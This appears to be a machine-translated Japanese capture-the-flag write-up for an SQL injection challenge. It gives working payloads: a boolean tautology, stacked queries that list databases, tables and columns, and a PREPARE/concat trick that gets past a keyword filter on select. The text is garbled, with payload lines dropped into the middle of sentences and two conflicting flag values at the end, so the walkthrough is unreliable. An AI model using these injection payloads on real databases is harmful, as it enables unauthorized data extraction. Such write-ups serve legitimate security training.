1. まず起動して対象マシンにアクセスすると入力ボックスがあるので適当に入力し1' or 1 = 1
てSQLインジェクションがあるかテストします。
2. 送信後のプロンプトはerror 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
、バックエンド パラメーターの背後に他の SQL ステートメントがある可能性があることを示します。1' または 1 = 1 の後に # を追加して、他の可能な SQL ステートメントをコメント アウトします。つまり、テーブルのすべてのデータが正常に出力されます1' or 1 = 1#
。 、しかしフラグはありません
3. 次に SQL インジェクションがあり、次に他のテーブルを手動で検出し、最初にフィールドの数を判断します。システムは、 preg_match 関数を使用して正規表現を実行することを' union select 1,2;#
要求しますreturn preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
。つまり、システムはこのコードを使用して選択し、他のキーワードがフィルタリングされました
4. select キーワードは使用できないため、スタックインジェクションによって select キーワードをバイパスできます
5. データベース名を表示します。1';show databases;#
6. データシートを表示します。1';show tables;#
7. 最初のテーブル 1919810931114514 のテーブル構造を見てみましょう。方法は 2 つあります。
方法 1:1'; show columns from tableName;#
方法 2:1';desc tableName;#
tableName が純粋な数値の場合は、次のように ` で囲む必要があることに注意してください。1';desc `1919810931114514`;#
取得したフィールド名は flag:
8. select キーワードはフィルタリングされているため、プリコンパイルによって select キーワードを連結できます。1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
get flag: flag{c0fc32ff-8ae1-4b96-8da0-1f621d7fdae3}
フラグ:フラグ{ab1f3d33-af30-45b8-b1e9-f5a9915e4676}